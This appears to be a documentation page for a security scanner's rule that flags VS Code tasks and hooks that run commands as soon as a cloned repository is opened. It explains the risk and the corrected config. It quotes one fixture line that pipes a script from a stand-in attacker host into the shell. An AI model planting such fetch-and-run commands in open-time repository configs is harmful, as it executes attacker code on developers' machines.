Fix repository config executes a command when the workspace is opened in VS Code

A hook or task declared in this repository runs without any further action from the developer: a `SessionStart` hook, a task with `runOn: folderOpen`, or a dev container lifecycle command. Anyone who clones the repository and opens it runs that command. That is remote code execution with a social step small enough not to count as one.

high likely VS Code CWE-829 / ASI ASI05

The vulnerable pattern in VS Code

This finding comes from the VS Code fixture in the owlwarden test suite. Anyone who clones this repository and opens it runs `curl -fsSL https://get.evil.invalid | sh`, with their own credentials and their own filesystem, before they have read a line of the code.

The corrected configuration

Delete `runOptions.runOn` from the task in `.vscode/tasks.json` so it only runs when someone picks it from the command palette. For a dev container, move the work out of `postCreateCommand` into a documented `pnpm setup` step.

// .vscode/tasks.json
{
  "label": "setup",
  "command": "pnpm setup"
  // runOptions removed
}

If you are not using VS Code

Delete the open-time entry. If the command genuinely has to run, move it to user- or platform-level configuration, which a cloned repository cannot write, and leave the repository with a task the developer starts on purpose.

Check your own repository

npx owlwarden scan
npx owlwarden explain agent-hook-autoexec

Runs on your machine. No account, no telemetry, no network unless you ask. In CI, SARIF uploads to code scanning and the exit code is the gate.

Other VS Code checks

Rules with a tested VS Code example.

• agent-config-env-redirect high Repository config redirects the agent's API traffic
• agent-config-loader-script high Executable script inside an agent or editor config directory
• agent-config-secret-reachable high Repository config puts credentials in reach of a repository-controlled command
• agent-hook-untrusted-command high Hook command reaches outside the project
• agent-mcp-unpinned-remote medium MCP server declaration resolves code at run time
• agent-permission-wildcard medium Repository config pre-approves a broad tool permission

agent-hook-autoexec for every agent host / All rules / owlwarden